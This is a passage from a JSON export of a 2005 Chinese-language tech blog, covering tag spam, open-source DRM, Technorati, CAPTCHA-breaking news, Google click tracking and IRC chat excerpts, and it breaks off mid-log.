    "body": "<a href=\"http://www.flickr.com/photos/gslin/19145040/\"><img src=\"http://photos14.flickr.com/19145040_a5d56eb852.jpg?v=0\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" alt=\"\" /></a> 薄荷這篇「<a href=\"http://blog.yuan.cc/ck/archives/001261.html\">GM Script: 解開無名小站的右鍵限制</a>」用 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> 處理這類擋右鍵的功能... 不過，用 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 明明就不用這麼麻煩啊啊啊啊啊~~~\r\n\r\n我在「<a href=\"http://gslin.org/2005/06/14/1310/\">用 Firefox 處理擋右鍵的網頁</a>」這篇有提到 <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 對於這些對右鍵毛手毛腳的 Javascript 早就很不滿 (?) 了... 有興趣的可以自己看看 :Q",
    "title": "Firefox 反制「鎖右鍵」的功能"
  },
  {
    "id": "62",
    "body": "在 <a href=\"http://zonble.twbbs.org/\" rel=\"tag\">zonble</a> 那邊看到「<a href=\"http://zonble.twbbs.org/archives/2005_08/796.php\">OpenVanilla win32 版</a>」，裝起來以後... 果然是測試版 XD\r\n\r\n測試以後抓了 source 回來翻翻，不知道改不改的動咧 :~",
    "title": "香草輸入法 Win32 版"
  },
  {
    "id": "63",
    "body": "請以 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋以下關鍵字：\r\n<ul>\r\n\t<li><a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">長輩</a>、<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">\"長輩\"</a></li>\r\n\t<li><a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">大長輩</a>、<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">\"大長輩\"</a></li>\r\n\t<li><a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">天位大長輩</a>、<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">\"天位大長輩\"</a></li>\r\n\t<li><a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">太天位大長輩</a>、<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">\"太天位大長輩\"</a></li>\r\n</ul>\r\n您會發現，全都是 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 啊 XD",
    "title": "真正的長輩"
  },
  {
    "id": "64",
    "body": "最近好像常常看到 Spam：如果依照時間排，先是 pjhuang 的 ouiouioui tag spam，再來是「怪癖連鎖信」(源頭在「<a href=\"http://www.anaislee.com/journal/2005/08/blog_tag.html\" rel=\"nofollow\">Blog Tag：怪癖</a>」這篇)，然後是 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的 engadget.chinese 所發的 tag spam (剛剛還在 tag spam，晚點再平平穩穩地給他一腳)。\r\n\r\n其中 ouiouioui 的兩個 tag spam 事情因為很明顯就是 spam，講出來大家就知道發生什麼事情，所以寫起來很快，拿出來罵一罵就好了。而 Blog Spam 的部分因為要寫一些東西 (因為我希望能阻止這個行為)，不過因為最近再研究實驗室的一些系統，就一直擱著沒寫。\r\n\r\n先給某個 IRC channel 上的 log：\r\n<blockquote>14:50 &lt;@i&gt; 我覺得這篇也幹譙得很好 XD # <a href=\"http://blog.yam.com/balazoo/archives/388725.html\">http://blog.yam.com/balazoo/archives/388725.html</a>\r\n14:51 &lt;@gslin&gt; 啊啊，被搶先了\r\n14:51 &lt;@B&gt; i: 還不必看，我光看標題就心動了，明燈耶\r\n14:52 &lt;@i&gt; gslin: 搶先 ? 你也要幹譙了嗎 :p\r\n14:52 &lt;@gslin&gt; i: 我本來打算等有人亂點名我的時候才幹剿的\r\n14:52 &lt;@i&gt; gslin: 我也有過這種想法... 不過我後來發現這不可能 :p\r\n14:53 &lt;@gslin&gt; 怎麼說 :p\r\n14:53 &lt;@gslin&gt; 我覺得還蠻有可能的啊，5 個人... factor 真的很大 :p\r\n14:53 &lt;@i&gt; 因為不認識我的人不會點名我, 認識我的人都應該知道點我我也不會去寫 ;p\r\n14:53 &lt;@gslin&gt; 這很難說 :p\r\n14:53 &lt;@i&gt; 反而有可以幹譙兩句這樣 :p</blockquote>\r\n我當初看到這個活動的時候我馬上想到「幸運連鎖信」- 你必須做完某些事情，然後轉寄給其他五個人，而這五個人必須再繼續下去。唯一的差別在「幸運連鎖信」會詛咒你「不照做會如何如何」，而「怪癖連鎖信」沒有。\r\n\r\n本來一開始看到還不覺得應該玩不起來，直到後來慢慢在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到一篇一篇的連鎖信後，才發現事情跟我期望的相反。\r\n\r\n不過事情發展到現在，整個規模已經無法停止了：一方面是人情壓力被濫用，另外一方面是已經流到對岸了。\r\n\r\n前者是在 <a href=\"http://www.wretch.cc/blog/cutiecherry\" rel=\"tag\">cutiecherry</a> 的 blog 上看到因為人情壓力被強迫寫：<a href=\"http://www.wretch.cc/blog/cutiecherry&article_id=2506202\">[Blog串連]五個怪癖 by cherry</a>。\r\n<blockquote>昨天歪八msn問我要不要寫[Blog串連]五個怪癖\r\n想都不想直接拒絕\r\n怪癖不就是很怪的癖好咩？\r\n公開寫給人家知道不是很怪嗎？\r\n今天好死不死又被晴兒點到= =\"\r\n看來真的是在劫難逃</blockquote>\r\n而後者則是在 <a href=\"http://blog.donews.com/keso/\" rel=\"tag\">keso</a> 的文章出現：<a href=\"http://blog.donews.com/keso/archive/2005/08/21/518969.aspx\">玩儿个游戏：怪癖</a>。\r\n\r\n我仍然希望看到這篇文章的人能夠仔細的替身旁的朋友想：並不是每個人都願意公開自己的隱私，你發連鎖信給他，他不一定很高興 - 並不是每個人都有勇氣直接拒絕或是不理會。",
    "title": "Blog Spam - 「怪癖連鎖信」"
  },
  {
    "id": "65",
    "body": "<a href=\"http://www.kottke.org/\" rel=\"tag\">Jason Kottke</a> 幾天前寫了 <a href=\"http://www.kottke.org/05/08/so-long-technorati\">So long, Technorati</a> 這篇文章，表達對 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 的失望。他發現當 Results 愈來愈多，速度就愈慢 (而且是慢的很誇張的那種慢)，而有的時候會發現某些 Link 根本沒被算進來。\r\n\r\n在比較過 <a href=\"http://www.pubsub.com/\" rel=\"tag\">PubSub</a> 所得到的結果，發現 <a href=\"http://www.pubsub.com/\" rel=\"tag\">PubSub</a> 得到的資料比較多、而且不會重複。但是很有趣的是，<a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 與 <a href=\"http://www.pubsub.com/\" rel=\"tag\">PubSub</a> 提供的 Link 重複的很少：\r\n<blockquote>Over the past few months, I've been comparing the results from <a href=\"http://www.pubsub.com/\" rel=\"tag\">PubSub</a> to those of Technorati and PS is kicking ass. <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> currently says that 19 sites have linked to me in the past 6 days (and at least four of those are old and/or repeats...one is from last September, fer chrissakes) while <a href=\"http://www.pubsub.com/\" rel=\"tag\">PubSub</a> has returned 38 fresh, unrepeated results during that same time. (Not that PubSub is all roses and sunshine either...the overlap between the result sets is surprisingly small.)</blockquote>\r\n另外在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 大長輩</a> 這篇 <a href=\"http://blog.ijliao.info/archives/2005/08/22/1691/\">Technorati 可以做 OR 搜尋</a> 也講了<a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 搜尋數字非常怪異。(灌水)\r\n\r\n難怪很多人期待 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a>/<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo</a> 能提供更好的功能給大家用...",
    "title": "Technorati"
  },
  {
    "id": "66",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/36462457/\"><img src=\"http://photos31.flickr.com/36462457_6589b88dbf_m.jpg\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" alt=\"\" /></a> 在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 <a href=\"http://hardware.slashdot.org/article.pl?sid=05/08/22/2157244\">New 1 Kilowatt PSU - Too Much Power?</a> 這篇，然後也在 <a href=\"http://forevergeek.com/\" rel=\"tag\">ForeverGeek</a> 看到 <a href=\"http://forevergeek.com/articles/1000_watt_power_supply.php\">1000 Watt Power Supply</a> 這篇...\r\n\r\n一千瓦的 PSU？比冷氣機還會吃？這是怎樣 XD\r\n\r\n我直覺想到是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">某位大長輩</a> 的 16 HDs Array 需要這種東西，不過有需要到 1KW 嗎？*thinking*",
    "title": "千瓦 PSU"
  },
  {
    "id": "67",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 在搞 Open Source DRM 的消息：<a href=\"http://yro.slashdot.org/article.pl?sid=05/08/22/1144204\">Sun Spearheads Open DRM</a>。\r\n\r\n不過如果我對於 DRM 的概念沒錯的話，這種東西 Open Source 出來不就等於廢了？除非他的 \"DRM\" 還包括了 Watermarking 的技術 (換句話說，每個 user 拿到的東西都不一樣)，但就算這樣，目前也沒有任何一個 Watermarking 能承受公開攻擊。\r\n\r\n就學理上而言，Open Source DRM 目前不存在任何效果。\r\n\r\n不過，就社會價值而言，這篇 Comment 寫得很精彩：<a href=\"http://yro.slashdot.org/comments.pl?sid=159697&cid=13374236\">Re:Oh good grief...</a>：(其實整篇都寫得很好...)\r\n<blockquote>Copyright is basically a pricing issue. After an agreed period of time, the material goes out of copyright and into public domain. Preventing material from entering public domain is the real theft. These people are the real thieves. And in a civilized society, thieves don't get to decide what the property laws are going to be.\r\n\r\nThese guys plan to use DRM to deny forever any material entering the public domain. We have a duty to future generations to remove the DRM from any material encoded on any digital format, regardless of how old or new it is or who believes that they 'own' it.\r\n\r\nThese guys don't control the information age; we control the information age. Because we created it. If we don't want DRM, DRM won't exist.</blockquote>\r\n其中最有名的惡搞例子應該是 \"<a href=\"http://writ.news.findlaw.com/commentary/20020305_sprigman.html\">THE MOUSE THAT ATE THE PUBLIC DOMAIN</a>\" 這篇：<a href=\"http://www.disney.com/\" rel=\"tag\">Disney</a> 以及利益團體把著作權有效期限從死後五十年改成死後七十年，而使得 2003 年到期的 Mickey Mouse...\r\n\r\n再回過頭來看 <a href=\"http://www.tbray.org/\" rel=\"tag\">Tim Bray</a> (目前在 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun Microsystem</a> 工作) 對 Open Source DRM 的看法：\r\n<blockquote>What all the DRM dreamers don’t want to admit is that 95% or more of the population hasn’t yet encountered DRM, and when they do, they aren’t going to like it. They’re going to scream and scream and scream and get mad as hell and not take it any more.</blockquote>\r\n連 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 的員工都這樣講了... (狂笑)",
    "title": "Open Source DRM"
  },
  {
    "id": "68",
    "body": "<a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a> 在幾年前就在 BBS 上寫了不少跟 <a href=\"http://www.vim.org\" rel=\"tag\">Vim</a> 相關的文章 (當時的標題是「不是打vi的廣告」)，最近把這些文章整理到 Blog 上：\r\n<ul>\r\n\t<li><a href=\"http://greenisland.csie.nctu.edu.tw/wp/2005/08/21/277/\">不是打vi的廣告，出入 vim 及模式選擇</a></li>\r\n\t<li><a href=\"http://greenisland.csie.nctu.edu.tw/wp/2005/08/22/279/\">不是打vi的廣告， vim 指令模式下的刪除行為</a></li>\r\n\t<li><a href=\"http://greenisland.csie.nctu.edu.tw/wp/2005/08/24/284/\">不是打vi的廣告，vim 的 search 功能</a></li>\r\n</ul>\r\n目前還在「連載」中 :p 有興趣的人可以在 vim 這個 Category 看到：<a href=\"http://greenisland.csie.nctu.edu.tw/wp/category/comuter/vim/\">vim Archived Posts from this Category</a>。",
    "title": "Vim 的介紹"
  },
  {
    "id": "69",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/36741489/\"><img src=\"http://photos28.flickr.com/36741489_d8a0b24334.jpg?v=0\" alt=\"\" /></a> 在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到對抗 <a href=\"http://en.wikipedia.org/wiki/Captcha\" rel=\"tag\">CAPTCHA</a> (Completely Automated Public Turing test to tell Computers and Humans Apart) 的軟體：<a href=\"http://www.boingboing.net/2005/08/23/pwntcha_defeating_ca.html\">PWNTCHA: defeating CAPTCHAs with software</a>。\r\n\r\n在官方網頁 <a href=\"http://sam.zoy.org/pwntcha/\">PWNtcha - captcha decoder</a> 裡就分析了目前常見到的 <a href=\"http://en.wikipedia.org/wiki/Captcha\" rel=\"tag\">CAPTCHA</a> 辨識率... (Quite Interesting :p)",
    "title": "PWNTCHA"
  },
  {
    "id": "70",
    "body": "<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 報導最近 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋的 link 會被 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 紀錄：<a href=\"http://www.boingboing.net/2005/08/22/google_stealthily_mo.html\">Google stealthily monitoring clickthroughs from search-results</a>。\r\n\r\n假設你用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 打 \"<a href=\"http://www.google.com/search?q=gslin\" rel=\"tag\">gslin</a>\" 的第一個 link 是 <a href=\"http://gslin.org/\" rel=\"tag\">Gea-Suan Lin's BLOG</a> (<a href=\"http://gslin.org/\" rel=\"tag\">http://gslin.org/</a>)。在以前他會直接連到 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a>，但最近被改成像是 http://www.google.com/url (後面接一大串) 的地方，讓 Google 先記錄後再導到目的站台...\r\n\r\n這樣對隱私其實有很大的傷害，所以就有人寫了 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> Script 把該閹的閹掉。(資訊在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 的 Update 6)",
    "title": "Google 搜尋的 Link"
  },
  {
    "id": "71",
    "body": "在 <a href=\"http://rafan.infor.org/\" rel=\"tag\">rafan</a> 那邊的 Blog 看到 <a href=\"http://rafan.infor.org/blog/archives/113\" rel=\"tag\">FreeBSD 換 Security Officer</a>：<a href=\"http://lists.freebsd.org/pipermail/freebsd-security/2005-August/003115.html\">New FreeBSD Security Officer</a>。\r\n\r\n新的 <a href=\"http://www3.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> Security Officer 是超強強者 <a href=\"http://web.comlab.ox.ac.uk/oucl/work/colin.percival/\" rel=\"tag\">Colin Percival</a>，也就是提出 HTT 安全性問題 (並在 <a href=\"http://www3.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 平台上攻擊成功：<a href=\"http://www.daemonology.net/hyperthreading-considered-harmful/\">Hyper-Threading Considered Harmful</a>) 的大長輩 :p",
    "title": "新的 FreeBSD Security Officer"
  },
  {
    "id": "72",
    "body": "<a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 在這篇 <a href=\"http://jeremy.zawodny.com/blog/archives/005049.html\">Trackback is Dead</a> 提到他準備把 Trackback 的服務拿掉，而可能改用 <a href=\"http://search.yahoo.com/\" rel=\"tag\">Yahoo! Search</a> 或是其他類似的服務代替。\r\n\r\n他引用了三篇文章，其中 <a href=\"http://www.plasticbag.org/archives/2005/04/trackback_is_dead_are_comments_dead_too.shtml\">Trackback is dead. Are Comments dead too?</a> 這篇說：\r\n<blockquote>It has been killed by spam and by spammers - by the sheer horror of ping after ping pushing mother/son incest and bestiality links.</blockquote>\r\n這是很無奈的事實：現在全世界用 Trackback 用的最多的不是 Blogger，而是 Spammer。而且幾乎所有的 User 都不知道什麼是 Trackback。\r\n\r\n在技術上，可以用 Search Engine 提供的 link: (或是類似的功能) 找到 Inbound Link 時，Trackback 沒有存在的價值。換句話說，除了助長 <a href=\"http://en.wikipedia.org/wiki/Spamdexing\" rel=\"tag\">Spamdexing</a> 以外，沒有其他用途。\r\n\r\n所以我剛剛也先查了一下目前 Search Engine 能夠做到多少，以 <a href=\"/archives/2005/08/19/52/\">SHA-1 collision 進一步發展</a> 這篇來說，Yahoo! Search 給的比較新：<a href=\"http://search.yahoo.com/search?p=link%3Ahttp://blog.gslin.org/archives/2005/08/19/52/\">Yahoo! Search results for link:http://blog.gslin.org/archives/2005/08/19/52/</a>，而 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找不到 XD\r\n\r\n所以我改了一下 single.php，多了一個 Inbound Link 可以看有誰 Link 過來，也許之後寫成 Plugin 吧？",
    "title": "利用 Yahoo! Search 的服務來找 Inbound Link"
  },
  {
    "id": "73",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/36876668/\"><img src=\"http://photos24.flickr.com/36876668_1cb16c3484.jpg?v=0\" style=\"float: left; margin-bottom: 1em; margin-right: 1em;\" alt=\"\" /></a> 在寫了 <a href=\"/archives/2005/08/20/58/\">Engadget.Chinese 與 ouiouioui spam？</a> 這篇後，我就在看 engadget.chinese 到底還會不會繼續 tag spam，結果在 8/21 的時候變本加厲，一口氣丟了一卡車進去...\r\n\r\n於是我在 8/22 去 <a href=\"http://chinese.engadget.com/\" rel=\"tag\">Engadget Chinese</a> 網站上找 e-mail 要幹剿：結果我沒找到。甚至在原來的英文站台也都沒找到。(...)\r\n\r\n我在同一天 (大約是吃完晚餐後) 透過 <a href=\"http://www.engadget.com/tips/\" rel=\"tag\">Participate: help feed our blog.</a> 寫給 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a>，留下 gslin @ gslin.org，然後等待他們的 reply：\r\n<blockquote>Hello sir,\r\n\r\nOui-News (http://www.oui-news.com/) is a Chinese article-sharing platform using the advantange of tag in del.icio.us and furl.net.\r\n\r\nIt's very simple: Use del.icio.us to tag a article with \"ouiouioui\", then it will appear in Oui-News's board about 1 hour later.\r\n\r\nUnfortunely, we found someone register an account called \"engadget.chinese\" in del.icio.us and he spams Oui-News about two days: tag articles on chinese.engadget.com with \"ouiouioui\".\r\n\r\nI don't know if this person is your employee, but I think it's necessary to let you know that.\r\n\r\nBest Regards,\r\ngslin</blockquote>\r\n很巧的是，在同一天下午四點的時候我的 Blog 上收到自稱是 engadget.chinese 本人的留言：(<a href=\"/archives/2005/08/20/58/#comment-87\">atticus Said</a>)\r\n<blockquote>hi gslin:\r\n\r\n在oui-news看到的一系列engadget.chinese文章就是我設的，和oui- news.com沒關係。而且沒錯的，我就是engadget.chinese編輯之一，engadget.chinese現在流量不是很大，所以我也試圖想要找到更多導入流量的機會。然而這種作法並不是spam，我並沒有設軟體拼命在del.icio.us丟tag，第一次我嘗試的時候嚇了一跳，原來 oui-news使用共筆書籤的人這麼少，才導致我一貼上去全都上了同一個版面，如果有許多人使用ouiouioui tag的話，engadget.chinese的書籤應該就會被洗掉或平均分佈的。engadget.chinese這個網站到目前為止都是測試階段，有什麼好的建議歡迎給予意見指教。\r\n\r\n“瓦肯人”的翻譯真的沒有那麼好，如果在翻譯上有所錯誤的地方，請盡量指出，我們會馬上改進的。</blockquote>\r\n講明白一點：你們的東西水準差，不求改善水準，卻到處利用 tag spam 想要取得廣告收入，然後怪別人 ouiouioui tag 太少？拜託，ouiouioui 大多都是 tag 中文文章，而中文文章有水準的本來就不多了，每天只有四五篇本來就很合理，這不是給你們 spam 的理由！\r\n\r\n再回頭過來看由留言所留下來的 IP address，得知這位先生是從 <a href=\"http://www.insightxplorer.com/\" rel=\"nofollow\">創市際市場研究顧問</a> (當然，加上 rel=\"nofollow\") 這家公司連線出來的，我就馬上瞭解為什麼這位先生可以把 Spam 的行為光明正大的拿出來講了。\r\n\r\nbtw，到發文章前截止，我還沒收到 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 所回的 mail，所以我剛剛直接依照國際上處理 spam 的慣例，把 tag spam 的訊息通知 abuse @ chinese.engadget 與 abuse @ engadget.com 了。\r\n\r\nPS：上面那張圖就是剛剛又在 tag spam 的資訊了，不過看起來 <a href=\"http://www.oui-blog.com/\" rel=\"tag\">quawn</a> 不太想理會？",
    "title": "engadget.chinese 的 Spam"
  },
  {
    "id": "74",
    "body": "大概是太多人誤解了 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 的 \"Open Source DRM\"，所以 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 刊出了這篇 <a href=\"http://www.boingboing.net/2005/08/24/drm_ssl.html\">DRM != SSL</a> 說明了 DRM 與 SSL 本質上的不同，所以 Open Source 是自尋死路 :p",
    "title": "「DRM 無效論」的說明"
  },
  {
    "id": "75",
    "body": "在 <a href=\"http://www.threadwatch.org/node/3620\">MovableType 3.2 Announced</a> 這篇看到 <a href=\"http://www.movabletype.org/\" rel=\"tag\">MovableType</a> 3.2 的消息了，最主要的改變還是授權數量的改變吧？這個版本「改回」以前 MT 2.x 版的不限 Blog 數量授權...\r\n\r\n因為感受到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 所帶來強大的壓迫感嗎？*grin*",
    "title": "MovableType 3.2"
  },
  {
    "id": "76",
    "body": "<a href=\"http://www.cingular.com/\" rel=\"tag\">Cingular</a> 在客戶買了新的手機時會問他們要不要把舊手機給他們，他們會捐給慈善團體。但實際上的情況是客戶發現這些手機出現在 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 上面：<a href=\"http://www.wfmynews2.com/watercooler/watercooler_article.aspx?storyid=47473\">Cell Phones Meant For Charity Instead Sold On eBay</a>。\r\n\r\n<a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 則對於其中的個人資料安全問題提出討論 (這篇文章不討論 <a href=\"http://www.cingular.com/\" rel=\"tag\">Cingular</a> 的道德及法律上的問題，僅就一般人將手機交給 <a href=\"http://www.cingular.com/\" rel=\"tag\">Cingular</a> 時都沒有將裡面的隱私資料刪除的問題提出疑問)：<a href=\"http://www.schneier.com/blog/archives/2005/08/privacy_risks_o.html\">Privacy Risks of Used Cell Phones</a>。",
    "title": "Cingular 的二手手機"
  },
  {
    "id": "77",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到了 BSD Certification 的消息了：<a href=\"http://bsd.slashdot.org/article.pl?sid=05/08/26/042201\">BSD Certification Group Releases Roadmap</a>。\r\n\r\n等到國外弄出 Certification 後，國內應該也會引進來，然後就會看到一堆考過 Certification 的人面試的時候來亂了 :p (啊啊，別打我啊)",
    "title": "BSD Certification"
  },
  {
    "id": "78",
    "body": "口吾... 現在是 8/28，<a href=\"http://www.oui-blog.com/\" rel=\"tag\">Oui-Blog</a> 又 Out of Bandwidth 了... o_O\r\n\r\n要不要順便跳槽到 <a href=\"http://www.dreamhost.com/r.cgi?cwyeh\" rel=\"tag\">DreamHost</a> 啊？畢竟 120GB/month 比起現在的 35GB 好很多？\r\n\r\n而且大家應該不會像我一樣籤運超好，遇到這台 pizzaro.dreamhost.com 每天會因為 heavy loading 重開機 =_= (為什麼我周遭其他人都用得很好啊 :~)",
    "title": "每個月都來一次 -_-"
  },
  {
    "id": "79",
    "body": "<a href=\"http://blog.ijliao.info/\">ijliao 太天位大長輩</a> 的「<a href=\"http://blog.ijliao.info/\">國二菜鳥忙裡偷閒</a>」似乎在 <a href=\"http://blog.ijliao.info/archives/2005/08/25/1703/\">助人禁止</a> 這篇裡被誤解成「國中二年級」？:p (參考 comments 的地方)\r\n\r\n其實「國二」是「國防役第二年」XD\r\n\r\n(也許我應該換個什麼一年級之類的東西？)",
    "title": "國二菜鳥 :p"
  },
  {
    "id": "80",
    "body": "沒錯，我說的就是 <a href=\"http://www.to2100.idv.tw/\" rel=\"nofollow\">潛艦</a> (當然，rel=\"nofollow\")，每次都用 Big5 Trackback 別人，結果有時候 Firefox 的 encoding 就... -_-\r\n\r\n然後剛剛又在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 那邊看到：<a href=\"http://blog.ijliao.info/archives/2005/08/27/1711/\">我要為別人的迴響負責嗎 ?</a>。\r\n\r\n所以我都直接把 <code>to2100</code> 當關鍵字，丟到 Blacklist 裡面...",
    "title": "討厭的 Big5 Trackback"
  },
  {
    "id": "81",
    "body": "嗯，其實是 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 布丁長輩</a> 在 irc 上渡化大眾：\r\n<blockquote>21:51 &lt;@hlb&gt; gslin: 長輩知道讓 IE crash 的新方法嗎? id=\"tags\"  :p\r\n21:51 &lt;@gslin&gt; @_@\r\n21:51 &lt;@hlb&gt; gslin: print preview 就爛掉 :p\r\n21:51 &lt;@gslin&gt; 好讚啊\r\n21:52 &lt;@gslin&gt; 來丟個 ticket 給 WordPress 好了 XD\r\n21:52 &lt;@hlb&gt; gslin: <a href=\"http://meyerweb.com/eric/thoughts/2005/08/26/when-printing-kills/\">http://meyerweb.com/eric/thoughts/2005/08/26/when-printing-kills/</a>\r\n21:52 &lt;@hlb&gt; 感覺上這個 bug 忽然變成某個笑話 :p\r\n21:53 &lt;@gslin&gt; hlb: 長輩來寫一篇吧 :p\r\n21:53 &lt;@hlb&gt; <a href=\"http://www.37signals.com/\" rel=\"tag\">37signals</a> 的人說, \"我們寫 backpack 的時候就遇到了\" :p\r\n21:53 &lt;@gslin&gt; 沒錯，正在看 XD\r\n21:54 &lt;@hlb&gt; 不想寫 ie :p\r\n21:54  * hlb 其實是懶惰.\r\n21:54 &lt;@gslin&gt; -_-</blockquote>",
    "title": "IE Bug"
  },
  {
    "id": "82",
    "body": "<a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的 Hate 板已經藍爆了 (當然不只這件事情)：有人發現 <a href=\"http://tw.music.yahoo.com/profile/228\" rel=\"tag\">永邦</a> (<a href=\"http://tw.music.yahoo.com/\" rel=\"tag\">Yahoo! Kimo 音樂</a>) 在 <a href=\"http://jy.zchi.net/music1/Special_Show.asp?Special_Id=2305\" rel=\"tag\">真愛珍愛 2005 風行精選集</a> 的 Melody 抄襲 <a href=\"http://www.bs-i.co.jp/anime/AIR/\" rel=\"tag\">AIR</a> (有 Popup Window) 的 鳥の詩。\r\n\r\n<a href=\"http://blog.leeym.com/\" rel=\"tag\">Leeym</a> 的 <a href=\"http://blog.leeym.com/index.php?op=ViewArticle&articleId=274&blogId=1\">永邦抄襲鳥之詩？</a>、<a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp 長輩</a> 的 <a href=\"http://slzzp.blogspot.com/2005/08/14-melody.html\">抄襲! 永邦 真愛珍愛 的第14首 Melody</a> 也提到了。\r\n\r\n鋼琴版的同人原作在這：<a href=\"http://pico-music.whitecafe.jp/air/air.htm\">ぴこの音楽室～ＡＩＲ mp3～</a> (最下面一首)，為了節省頻寬，同樣的檔案在 <a href=\"http://blog.gslin.org.nyud.net:8090/wp-content/torinouta.mp3\">這裡</a> 也可以下載。\r\n\r\n永邦的真愛珍愛 2005 風行精選集在 <a href=\"http://jy.zchi.net/music1/Special_Show.asp?Special_Id=2305\">http://jy.zchi.net/music1/Special_Show.asp?Special_Id=2305</a> 這裡可以試聽。\r\n\r\nPS：<a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的藍爆指一個看板的人數內超過 5000 人。",
    "title": "AIR 鳥の詩 被 永邦 抄襲的事件"
  },
  {
    "id": "83",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的消息：<a href=\"http://science.slashdot.org/article.pl?sid=05/08/27/1617217\">NSF Ponders New And Improved Internet</a>，原報導在 <a href=\"http://www.wired.com/news/technology/0,1282,68667,00.html\">NSF Preps New, Improved Internet</a> 這篇。\r\n\r\n我一直都認為 Internet 的盛行在於資訊的流通性：每個 IP address 都擁有相同的權力，可以無阻礙的散佈資訊。後來蓬勃發展的 Open Spec P2P Technology 也是很重要的一環...\r\n\r\n我同時也認為 Internet 的發展會趨向於無政府主義，所以不管哪個國家的政府都會想辦法制止，但是卻發現商業運作的模式造成 Internet 已經無法被消滅。\r\n\r\n所以，新的 Internet？\r\n<blockquote>The National Science Foundation is backing a major initiative that could lead to a completely new internet architecture, with built-in security measures and support for ubiquitous sensors and wireless communications devices, among other things.</blockquote>\r\n其實只是想要取回管理權而已：新的 Internet 上只是多了老大哥在看你。",
    "title": "新的 Internet？"
  },
  {
    "id": "84",
    "body": "<a href=\"http://www.vim.org/\" rel=\"tag\">vim</a> 貼 irc log 很好用 XD 先用 regular expression 換一下 id，再排一下就好了 XD\r\n<blockquote>21:15 &lt;@y&gt; 脫離父子關係有好處就會脫離了, 跟離婚有好處一樣 :Q\r\n21:15 &lt; s&gt; y: 有血緣的沒有辦法脫離喔~ #以台灣的法律來說)\r\n21:18 &lt;@i&gt; 所以要先脫離國籍, 才能脫離血緣這樣 ?\r\n21:21 &lt;@y&gt; 為什麼要規定不能脫離父子關係啊...\r\n21:23 &lt;@h&gt; 因為一定要有個 parent node?\r\n21:23 &lt;@h&gt; XD\r\n21:23 &lt;@Bl&gt; h: 不然就會被系統回收？\r\n21:24 &lt; s&gt; y: 不知道,民法規定的...(有修法學緒論的話楊永良一定會說~XD)\r\n21:25 &lt;@Be&gt; 血緣關係是與生俱來的吧, 監護權應該就是可以被轉移的\r\n21:31 &lt; s&gt; Be: nod\r\n21:39 &lt;@gslin&gt; Bl: ... # 21:23 &lt;@Bl&gt; h: 不然就會被系統回收？\r\n21:40 &lt;@gslin&gt; 順間感覺到房間溫度降了十度... o_O\r\n21:41 &lt; s&gt; gslin: 長輩在機房?XD\r\n21:41 &lt;@gslin&gt; 家裡 -_-\r\n21:41 &lt; s&gt; XD\r\n21:41 &lt;@J&gt; 